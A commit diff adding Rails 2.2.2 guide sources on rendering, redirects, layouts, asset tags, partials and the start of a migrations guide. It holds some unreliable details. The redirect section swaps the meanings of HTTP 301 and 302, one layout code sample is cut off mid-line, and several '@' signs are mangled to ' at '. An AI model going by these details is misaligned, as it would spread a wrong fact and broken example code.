+WARNING: Using +render+ with +:action+ is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling +render+.
+
+==== Using +render+ with +:template+
+
+What if you want to render a template from an entirely different controller from the one that contains the action code? You can do that with the +:template+ option to +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way:
+
+[source, ruby]
+-------------------------------------------------------
+render :template => 'products/show'
+-------------------------------------------------------
+
+==== Using +render+ with +:file+
+
+If you want to use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications), you can use the +:file+ option to +render+:
+
+[source, ruby]
+-------------------------------------------------------
+render :file => "/u/apps/warehouse_app/current/app/views/products/show"
+-------------------------------------------------------
+
+The +:file+ option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
+
+NOTE: By default, if you use the +:file+ option, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the +:layout => true+ option
+
+==== Using +render+ with +:inline+
+
+The +render+ method can do without a view completely, if you're willing to use the +:inline+ option to supply ERB as part of the method call. This is perfectly valid:
+
+[source, ruby]
+-------------------------------------------------------
+render :inline => "<% products.each do |p| %><p><%= p.name %><p><% end %>"
+-------------------------------------------------------
+
+WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
+
+By default, inline rendering uses ERb. You can force it to use Builder instead with the +:type+ option:
+
+[source, ruby]
+-------------------------------------------------------
+render :inline => "xml.p {'Horrid coding practice!'}", :type => :builder
+-------------------------------------------------------
+
+==== Using +render+ with +:update+
+
+You can also render javascript-based page updates inline using the +:update+ option to +render+:
+
+[source, ruby]
+-------------------------------------------------------
+render :update do |page|
+  page.replace_html 'warning', "Invalid options supplied"
+end
+-------------------------------------------------------
+
+WARNING: Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. I recommend using a separate rjs template instead, no matter how small the update.
+
+==== Rendering Text
+
+You can send plain text - with no markup at all - back to the browser by using the +:text+ option to +render+:
+
+[source, ruby]
+-------------------------------------------------------
+render :text => "OK"
+-------------------------------------------------------
+
+TIP: Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.
+
+NOTE: By default, if you use the +:text+ option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the +:layout => true+ option
+
+==== Rendering JSON
+
+JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:
+
+[source, ruby]
+-------------------------------------------------------
+render :json => @product
+-------------------------------------------------------
+
+TIP: You don't need to call +to_json+ on the object that you want to render. If you use the +:json+ option, +render+ will automatically call +to_json+ for you.
+
+==== Rendering XML
+
+Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:
+
+[source, ruby]
+-------------------------------------------------------
+render :xml => @product
+-------------------------------------------------------
+
+TIP: You don't need to call +to_xml+ on the object that you want to render. If you use the +:xml+ option, +render+ will automatically call +to_xml+ for you.
+
+==== Rendering Vanilla JavaScript
+
+Rails can render vanilla JavaScript (as an alternative to using +update+ with n +.rjs+ file):
+
+[source, ruby]
+-------------------------------------------------------
+render :js => "alert('Hello Rails');"
+-------------------------------------------------------
+
+This will send the supplied string to the browser with a MIME type of +text/javascript+.
+
+==== Options for +render+
+
+Calls to the +render+ method generally accept four options:
+
+* +:content_type+
+* +:layout+
+* +:status+
+* +:location+
+
+===== The +:content_type+ Option
+
+By default, Rails will serve the results of a rendering operation with the MIME content-type of +text/html+ (or +application/json+ if you use the +:json+ option, or +application/xml+ for the +:xml+ option.). There are times when you might like to change this, and you can do so by setting the +:content_type+ option:
+
+[source, ruby]
+-------------------------------------------------------
+render :file => filename, :content_type => 'application/rss'
+-------------------------------------------------------
+
+===== The +:layout+ Option
+
+With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide. 
+
+You can use the +:layout+ option to tell Rails to use a specific file as the layout for the current action:
+
+[source, ruby]
+-------------------------------------------------------
+render :layout => 'special_layout'
+-------------------------------------------------------
+
+You can also tell Rails to render with no layout at all:
+
+[source, ruby]
+-------------------------------------------------------
+render :layout => false
+-------------------------------------------------------
+
+===== The +:status+ Option
+
+Rails will automatically generate a response with the correct HTML status code (in most cases, this is +200 OK+). You can use the +:status+ option to change this:
+
+[source, ruby]
+-------------------------------------------------------
+render :status => 500
+render :status => :forbidden
+-------------------------------------------------------
+
+Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in +actionpack/lib/action_controller/status_codes.rb+. You can also see there how it maps symbols to status codes in that file.
+
+===== The +:location+ Option
+
+You can use the +:location+ option to set the HTTP +Location+ header:
+
+[source, ruby]
+-------------------------------------------------------
+render :xml => photo, :location => photo_url(photo)
+-------------------------------------------------------
+
+==== Finding Layouts
+
+To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +/app/views/layouts/photos.html.erb+. If there is no such controller-specific layout, Rails will use +/app/views/layouts/application.html.erb+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
+
+===== Specifying Layouts on a per-Controller Basis
+
+You can override the automatic layout conventions in your controllers by using the +layout+ declaration in the controller. For example:
+
+[source, ruby]
+-------------------------------------------------------
+class ProductsController < ApplicationController
+  layout "inventory"
+  #...
+end
+-------------------------------------------------------
+
+With this declaration, all methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout.
+
+To assign a specific layout for the entire application, use a declaration in your +ApplicationController+ class:
+
+[source, ruby]
+-------------------------------------------------------
+class ApplicationController < ActionController::Base
+  layout "main"
+  #...
+end
+-------------------------------------------------------
+
+With this declaration, all views in the entire application will use +app/views/layouts/main.html.erb+ for their layout.
+
+===== Choosing Layouts at Runtime
+
+You can use a symbol to defer the choice of layout until a request is processed:
+
+[source, ruby]
+-------------------------------------------------------
+class ProductsController < ApplicationController
+  layout :products_layout
+  
+  def show
+    @product = Product.find(params[:id])
+  end
+
+  private
+    def products_layout
+      @current_user.special? ? "special" : "products"
+    end
+
+end
+-------------------------------------------------------
+
+Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout:
+
+[source, ruby]
+-------------------------------------------------------
+class ProductsController < ApplicationController
+  layout proc{ |controller| controller.
+  # ...	
+end
+-------------------------------------------------------
+
+===== Conditional Layouts
+
+Layouts specified at the controller level support +:only+ and +:except+ options that take either a method name or an array of method names:
+
+-------------------------------------------------------
+class ProductsController < ApplicationController
+  layout "inventory", :only => :index
+  layout "product", :except => [:index, :rss]
+  #...
+end
+-------------------------------------------------------
+
+With those declarations, the +inventory+ layout would be used only for the +index+ method, the +product+ layout would be used for everything else except the +rss+ method, and the +rss+ method will have its layout determined by the automatic layout rules.
+
+===== Layout Inheritance
+
+Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:
+
++application.rb+:
+
+[source, ruby]
+-------------------------------------------------------
+class ApplicationController < ActionController::Base
+  layout "main"
+  #...
+end
+-------------------------------------------------------
+
++posts_controller.rb+:
+
+[source, ruby]
+-------------------------------------------------------
+class PostsController < ApplicationController
+  # ...
+end
+-------------------------------------------------------
+
++special_posts_controller.rb+:
+
+[source, ruby]
+-------------------------------------------------------
+class SpecialPostsController < PostsController
+  layout "special"
+  # ...
+end
+-------------------------------------------------------
+
++old_posts_controller.rb+:
+
+[source, ruby]
+-------------------------------------------------------
+class OldPostsController < SpecialPostsController
+  layout nil
+
+  def show
+    @post = Post.find(params[:id])
+  end
+
+  def index
+    @old_posts = Post.older
+    render :layout => "old"
+  end
+  # ...
+end
+-------------------------------------------------------
+
+In this application:
+
+* In general, views will be rendered in the +main+ layout
+* +PostsController#index+ will use the +main+ layout
+* +SpecialPostsController#index+ will use the +special+ layout
+* +OldPostsController#show+ will use no layout at all
+* +OldPostsController#index+ will use the +old+ layout
+
+==== Avoiding Double Render Errors
+
+Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that +render+ works.
+
+For example, here's some code that will trigger this error:
+
+[source, ruby]
+-------------------------------------------------------
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render :action => "special_show"
+  end
+end
+-------------------------------------------------------
+
+If + at book.special?+ evaluates to +true+, Rails will start the rendering process to dump the + at book+ variable into the +special_show+ view. But this will _not_ stop the rest of the code in the +show+ action from running, and when Rails hits the end of the action, it will start to render the +show+ view - and throw an error. The solution is simple: make sure that you only have one call to +render+ or +redirect+ in a single code path. One thing that can help is +and return+. Here's a patched version of the method:
+
+[source, ruby]
+-------------------------------------------------------
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render :action => "special_show" and return
+  end
+end
+-------------------------------------------------------
+
+=== Using +redirect_to+
+
+Another way to handle returning responses to a HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
+
+[source, ruby]
+-------------------------------------------------------
+redirect_to photos_path
+-------------------------------------------------------
+
+You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. In addition, there's a special redirect that sends the user back to the page they just came from:
+
+-------------------------------------------------------
+redirect_to :back
+-------------------------------------------------------
+
+==== Getting a Different Redirect Status Code
+
+Rails uses HTTP status code 302 (permanent redirect) when you call +redirect_to+. If you'd like to use a different status code (perhaps 301, temporary redirect), you can do so by using the +:status+ option:
+
+-------------------------------------------------------
+redirect_to photos_path, :status => 301
+-------------------------------------------------------
+
+Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts both numeric and symbolic header designations.
+
+==== The Difference Between +render+ and +redirect+
+
+Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back a HTTP 302 status code.
+
+Consider these actions to see the difference:
+
+[source, ruby]
+-------------------------------------------------------
+def index
+  @books = Book.find(:all)
+end
+
+def show
+  @book = Book.find(params[:id])
+  if @book.nil?
+    render :action => "index" and return
+  end
+end
+-------------------------------------------------------
+
+With the code in this form, there will be likely be a problem if the + at book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the + at books+ variable that the +index+ view is presumably depending on. One way to fix this is to redirect instead of rendering:
+
+[source, ruby]
+-------------------------------------------------------
+def index
+  @books = Book.find(:all)
+end
+
+def show
+  @book = Book.find(params[:id])
+  if @book.nil?
+    redirect_to :action => "index" and return
+  end
+end
+-------------------------------------------------------
+
+With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well.
+
+=== Using +head+ To Build Header-Only Responses
+
+The +head+ method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling +render :nothing+. The +head+ method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header:
+
+[source, ruby]
+-------------------------------------------------------
+head :bad_request
+-------------------------------------------------------
+
+Or you can use other HTTP headers to convey additional information:
+
+[source, ruby]
+-------------------------------------------------------
+head :created, :location => photo_path(@photo)
+-------------------------------------------------------
+
+== Structuring Layouts
+
+When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:
+
+* Asset tags
+* +yield+ and +content_for+
+* Partials
+
+I'll discuss each of these in turn.
+
+=== Asset Tags
+
+Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag:
+
+* auto_discovery_link_tag
+* javascript_include_tag
+* stylesheet_link_tag
+* image_tag
+
+You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the +<head>+ section of a layout.
+
+WARNING: The asset tags do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
+
+==== Linking to Feeds with +auto_discovery_link_tag+
+
+The +auto_discovery_link_tag helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag:
+
+[source, ruby]
+-------------------------------------------------------
+<%= auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "RSS Feed"}) %>
+-------------------------------------------------------
+
+There are three tag options available for +auto_discovery_link_tag+:
+
+* +:rel+ specifies the +rel+ value in the link (defaults to "alternate")
+* +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically
+* +:title+ specifies the title of the link
+
+==== Linking to Javascript Files with +javascript_include_tag+
+
+The +javascript_include_tag+ helper returns an HTML +<script>+ tag for each source provided. Rails looks in +public/javascripts+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/javascripts/main.js+:
+	
+[source, ruby]
+-------------------------------------------------------
+<%= javascript_include_tag "main" %>
+-------------------------------------------------------
+
+To include +public/javascripts/main.js+ and +public/javascripts/columns.js+:
+
+[source, ruby]
+-------------------------------------------------------
+<%= javascript_include_tag "main", "columns" %>
+-------------------------------------------------------
+
+To include +public/javascripts/main.js+ and +public/photos/columns.js+:
+
+[source, ruby]
+-------------------------------------------------------
+<%= javascript_include_tag "main", "/photos/columns" %>
+-------------------------------------------------------
+
+To include +http://example.com/main.js+:
+
+[source, ruby]
+-------------------------------------------------------
+<%= javascript_include_tag "http://example.com/main.js" %>
+-------------------------------------------------------
+
+The +defaults+ option loads the Prototype and Scriptaculous libraries:
+
+[source, ruby]
+-------------------------------------------------------
+<%= javascript_include_tag :defaults %>
+-------------------------------------------------------
+
+The +all+ option loads every javascript file in +public/javascripts+, starting with the Prototype and Scriptaculous libraries:
+
+[source, ruby]
+-------------------------------------------------------
+<%= javascript_include_tag :all %>
+-------------------------------------------------------
+
+You can supply the +:recursive+ option to load files in subfolders of +public/javascripts+ as well:
+
+[source, ruby]
+-------------------------------------------------------
+<%= javascript_include_tag :all, :recursive => true %>
+-------------------------------------------------------
+
+If you're loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +javascript_include_tag+:
+
+[source, ruby]
+-------------------------------------------------------
+<%= javascript_include_tag "main", "columns", :cache => true %>
+-------------------------------------------------------
+
+By default, the combined file will be delivered as +javascripts/all.js+. You can specify a location for the cached asset file instead:
+
+[source, ruby]
+-------------------------------------------------------
+<%= javascript_include_tag "main", "columns", :cache => 'cache/main/display' %>
+-------------------------------------------------------
+
+You can even use dynamic paths such as "cache/#{current_site}/main/display"+.
+	
+==== Linking to CSS Files with +stylesheet_link_tag+
+
+The +stylesheet_link_tag+ helper returns an HTML +<link>+ tag for each source provided. Rails looks in +public/stylesheets+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/stylesheets/main.cs+:
+	
+[source, ruby]
+-------------------------------------------------------
+<%= stylesheet_link_tag "main" %>
+-------------------------------------------------------
+
+To include +public/stylesheets/main.css+ and +public/stylesheets/columns.css+:
+
+[source, ruby]
+-------------------------------------------------------
+<%= stylesheet_link_tag "main", "columns" %>
+-------------------------------------------------------
+
+To include +public/stylesheets/main.css+ and +public/photos/columns.css+:
+
+[source, ruby]
+-------------------------------------------------------
+<%= stylesheet_link_tag "main", "/photos/columns" %>
+-------------------------------------------------------
+
+To include +http://example.com/main.cs+:
+
+[source, ruby]
+-------------------------------------------------------
+<%= stylesheet_link_tag "http://example.com/main.cs" %>
+-------------------------------------------------------
+
+By default, +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (:media, :rel, or :type):
+
+[source, ruby]
+-------------------------------------------------------
+<%= stylesheet_link_tag "main_print", media => "print" %>
+-------------------------------------------------------
+
+The +all+ option links every CSS file in +public/stylesheets+:
+
+[source, ruby]
+-------------------------------------------------------
+<%= stylesheet_link_tag :all %>
+-------------------------------------------------------
+
+You can supply the +:recursive+ option to link files in subfolders of +public/stylesheets+ as well:
+
+[source, ruby]
+-------------------------------------------------------
+<%= stylesheet_link_tag :all, :recursive => true %>
+-------------------------------------------------------
+
+If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +stylesheet_link_tag+:
+
+[source, ruby]
+-------------------------------------------------------
+<%= stylesheet_link_tag "main", "columns", :cache => true %>
+-------------------------------------------------------
+	
+By default, the combined file will be delivered as +stylesheets/all.css+. You can specify a location for the cached asset file instead:
+
+[source, ruby]
+-------------------------------------------------------
+<%= stylesheet_link_tag "main", "columns", :cache => 'cache/main/display' %>
+-------------------------------------------------------
+
+You can even use dynamic paths such as "cache/#{current_site}/main/display"+.
+	
+==== Linking to Images with +image_tag+
+
+The +image_tag+ helper builds an HTML +<image>+ tag to the specified file. By default, files are loaded from +public/images+. If you don't specify an extension, .png is assumed by default:
+
+[source, ruby]
+-------------------------------------------------------
+<%= image_tag "header" %>
+-------------------------------------------------------
+
+You can supply a path to the image if you like:
+	
+[source, ruby]
+-------------------------------------------------------
+<%= image_tag "icons/delete.gif" %>
+-------------------------------------------------------
+
+You can supply a hash of additional HTML options:
+	
+[source, ruby]
+-------------------------------------------------------
+<%= image_tag "icons/delete.gif", :height => 45 %>
+-------------------------------------------------------
+
+There are also three special options you can use with +image_tag+:
+
+* +:alt+ specifies the alt text for the image (which defaults to the file name of the file, capitalized and with no extension)
+* +:size+ specifies both width and height, in the format "{width}x{height}" (for example, "150x125")
+* +:mouseover+ sets an alternate image to be used when the onmouseover event is fired.
+
+=== Understanding +yield+
+
+Within the context of a layout, +yield+ identifies a section where content from the view should be inserted. The simplest way to use this is to have a single +yield+, into which the entire contents of the view currently being rendered is inserted:
+
+[source, html]
+-------------------------------------------------------
+<html>
+  <head>
+  </head>
+  <body>
+	<%= yield %>
+  <hbody>
+</html>
+-------------------------------------------------------
+
+You can also create a layout with multiple yielding regions:
+
+[source, html]
+-------------------------------------------------------
+<html>
+  <head>
+	<%= yield :head %>
+  </head>
+  <body>
+	<%= yield %>
+  <hbody>
+</html>
+-------------------------------------------------------
+
+The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method.
+
+=== Using +content_for+
+
+The +content_for+ method allows you to insert content into a +yield+ block in your layout. You only use +content_for+ to insert content in named yields. For example, this view would work with the layout that you just saw:
+
+[source, html]
+-------------------------------------------------------
+<% content_for :head do %>
+  <title>A simple page</title>
+<% end %>
+
+<p>Hello, Rails!</p>
+-------------------------------------------------------
+
+The result of rendering this page into the supplied layout would be this HTML:
+
+[source, html]
+-------------------------------------------------------
+<html>
+  <head>
+	<title>A simple page</title>
+  </head>
+  <body>
+	<p>Hello, Rails!</p>
+  <hbody>
+</html>
+-------------------------------------------------------
+
+The +content_for+ method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise-generic layout.
+
+=== Using Partials
+
+Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file. 
+
+==== Naming Partials
+
+To render a partial as part of a view, you use the +render+ method within the view, and include the +:partial+ option:
+
+[source, ruby]
+-------------------------------------------------------
+<%= render :partial => "menu" %>
+-------------------------------------------------------
+
+This will render a file named +_menu.html.erb+ at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
+
+[source, ruby]
+-------------------------------------------------------
+<%= render :partial => "shared/menu" %>
+-------------------------------------------------------
+
+That code will pull in the partial from +app/views/shared/_menu.html.erb+.
+
+==== Using Partials to Simplify Views
+
+One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
+
+[source, html]
+-------------------------------------------------------
+<%= render :partial => "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+...
+
+<%= render :partial => "shared/footer" %>
+-------------------------------------------------------
+
+Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
+
+TIP: For content that is shared among all pages in your application, you can use partials directly from layouts.
+
+==== Partial Layouts
+
+A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:
+
+[source, html]
+-------------------------------------------------------
+<%= render :partial => "link_area", :layout => "graybar" %>
+-------------------------------------------------------
+
+This would look for a partial named +_link_area.html.erb+ and render it using the layout +_graybar.html.erb+. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master +layouts+ folder).
+
+==== Passing Local Variables
+
+You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:
+
++new.html.erb+:
+
+[source, html]
+-------------------------------------------------------
+<h1>New zone</h1>
+<%= error_messages_for :zone %>
+<%= render :partial => "form", :locals => { :button_label => "Create zone", :zone => @zone } %>
+-------------------------------------------------------
+
++edit.html.erb+:
+
+[source, html]
+-------------------------------------------------------
+<h1>Editing zone</h1>
+<%= error_messages_for :zone %>
+<%= render :partial => "form", :locals => { :button_label => "Update zone", :zone => @zone } %>
+-------------------------------------------------------
+
++_form.html.erb:+
+
+[source, html]
+-------------------------------------------------------
+<% form_for(zone) do |f| %>
+	<p>
+	  <b>Zone name</b><br />
+	  <%= f.text_field :name %>
+	</p>
+  <p>
+    <%= f.submit button_label %>
+  </p>
+<% end %>
+-------------------------------------------------------
+
+Although the same partial will be rendered into both views, the label on the submit button is controlled by a local variable passed into the partial.
+
+Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the +:object+ option:
+
+[source, html]
+-------------------------------------------------------
+<%= render :partial => "customer", :object => @new_customer %>
+-------------------------------------------------------
+
+Within the +customer+ partial, the + at customer+ variable will refer to + at new_customer+ from the parent view.
+
+WARNING: In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior is deprecated in Rails 2.2 and will be removed in a future version.
+
+If you have an instance of a model to render into a partial, you can use a shorthand syntax:
+
+[source, html]
+-------------------------------------------------------
+<%= render :partial => @customer %>
+-------------------------------------------------------
+
+Assuming that the + at customer+ instance variable contains an instance of the +Customer+ model, this will use +_customer.html.erb+ to render it.
+
+==== Rendering Collections 
+
+Partials are very useful in rendering collections. When you pass a collection to a partial via the +:collection+ option, the partial will be inserted once for each member in the collection:
+
++index.html.erb+:
+
+[source, html]
+-------------------------------------------------------
+<h1>Products</h1>
+<%= render :partial => "product", :collection => @products %>
+-------------------------------------------------------
+
++_product.html.erb+:
+
+[source, html]
+-------------------------------------------------------
+<p>Product Name: <%= product.name %></p>
+-------------------------------------------------------
+
+When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product, and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered. To use a custom local variable name within the partial, specify the +:as+ option in the call to the partial:
+
+[source, html]
+-------------------------------------------------------
+<%= render :partial => "product", :collection => @products, :as => :item %>
+-------------------------------------------------------
+
+With this change, you can access an instance of the + at products+ collection as the +item+ local variable within the partial.
+
+TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by +_counter+. For example, if you're rendering + at products+, within the partial you can refer to +product_counter+ to tell you how many times the partial has been rendered.
+
+You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option:
+
+[source, html]
+-------------------------------------------------------
+<%= render :partial => "product", :collection => @products, :spacer_template => "product_ruler" %>
+-------------------------------------------------------
+
+Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials.
+
+There's also a shorthand syntax available for rendering collections. For example, if + at products+ is a collection of products, you can render the collection this way:
+
++index.html.erb+:
+
+[source, html]
+-------------------------------------------------------
+<h1>Products</h1>
+<%= render :partial => @products %>
+-------------------------------------------------------
+
++_product.html.erb+:
+
+[source, html]
+-------------------------------------------------------
+<p>Product Name: <%= product.name %></p>
+-------------------------------------------------------
+
+Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:
+
++index.html.erb+:
+
+[source, html]
+-------------------------------------------------------
+<h1>Contacts</h1>
+<%= render :partial => [customer1, employee1, customer2, employee2] %>
+-------------------------------------------------------
+
++_customer.html.erb+:
+
+[source, html]
+-------------------------------------------------------
+<p>Name: <%= customer.name %></p>
+-------------------------------------------------------
+
++_employee.html.erb+:
+
+[source, html]
+-------------------------------------------------------
+<p>Name: <%= employee.name %></p>
+-------------------------------------------------------
+
+In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.
+
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15[Lighthouse ticket]
+
+* November 9, 2008: Added partial collection counter by link:../authors.html#mgunderloy[Mike Gunderloy] 
+* November 1, 2008: Added +:js+ option for +render+ by link:../authors.html#mgunderloy[Mike Gunderloy] 
+* October 16, 2008: Ready for publication by link:../authors.html#mgunderloy[Mike Gunderloy] 
+* October 4, 2008: Additional info on partials (+:object+, +:as+, and +:spacer_template+) by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
+* September 28, 2008: First draft by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/anatomy_of_a_migration.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/anatomy_of_a_migration.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations/anatomy_of_a_migration.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,85 @@
+== Anatomy Of A Migration ==
+
+Before I dive into the details of a migration, here are a few examples of the sorts of things you can do: 
+
+[source, ruby]
+------------------------
+class CreateProducts < ActiveRecord::Migration
+  def self.up
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :products
+  end
+end
+------------------------
+
+This migration adds a table called `products` with a string column called `name` and a text column called `description`. A primary key column called `id` will also be added, however since this is the default we do not need to ask for this. The timestamp columns `created_at` and `updated_at` which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.
+
+Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:
+
+[source, ruby]
+------------------------
+class AddReceiveNewsletterToUsers < ActiveRecord::Migration
+  def self.up
+    change_table :users do |t|
+      t.boolean :receive_newsletter, :default => false
+    end
+    User.update_all ["receive_newsletter = ?", true]
+  end
+
+  def self.down
+    remove_column :users, :receive_newsletter
+  end
+end
+------------------------
+
+This migration adds an `receive_newsletter` column to the `users` table. We want it to default to `false` for new users, but existing users are considered
+to have already opted in, so we use the User model to set the flag to `true` for existing users.
+ 
+NOTE: Some <<models,caveats>> apply to using models in your migrations.
+
+=== Migrations are classes
+A migration is a subclass of ActiveRecord::Migration that implements two class methods: +up+ (perform the required transformations) and +down+ (revert them).
+
+Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later):
+
+* `create_table`
+* `change_table`
+* `drop_table`
+* `add_column`
+* `remove_column`
+* `change_column`
+* `rename_column` 
+* `add_index`
+* `remove_index`
+
+If you need to perform tasks specific to your database (for example create a <<foreign_key,foreign key>> constraint) then the `execute` function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could
+write code to set the value of that column for existing records (if necessary using your models).
+
+On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.
+
+=== What's in a name ===
+
+Migrations are stored in files in `db/migrate`, one for each migration class. The name of the file is of the form `YYYYMMDDHHMMSS_create_products.rb`, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class' name must match (the camelcased version of) the latter part of the file name. For example `20080906120000_create_products.rb` should define CreateProducts and `20080906120001_add_details_to_products.rb` should define AddDetailsToProducts. If you do feel the need to change the file name then you MUST update the name of the class inside or Rails will complain about a missing class.
+
+Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting `config.active_record.timestamped_migrations` to `false` in `environment.rb`.
+
+The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.
+
+For example Alice adds migrations `20080906120000` and `20080906123000` and Bob adds `20080906124500` and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so `rake db:migrate` would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their down methods.
+
+Of course this is no substitution for communication within the team, for example if Alice's migration removed a table that Bob's migration assumed the existence of then trouble will still occur.
+
+=== Changing migrations ===
+
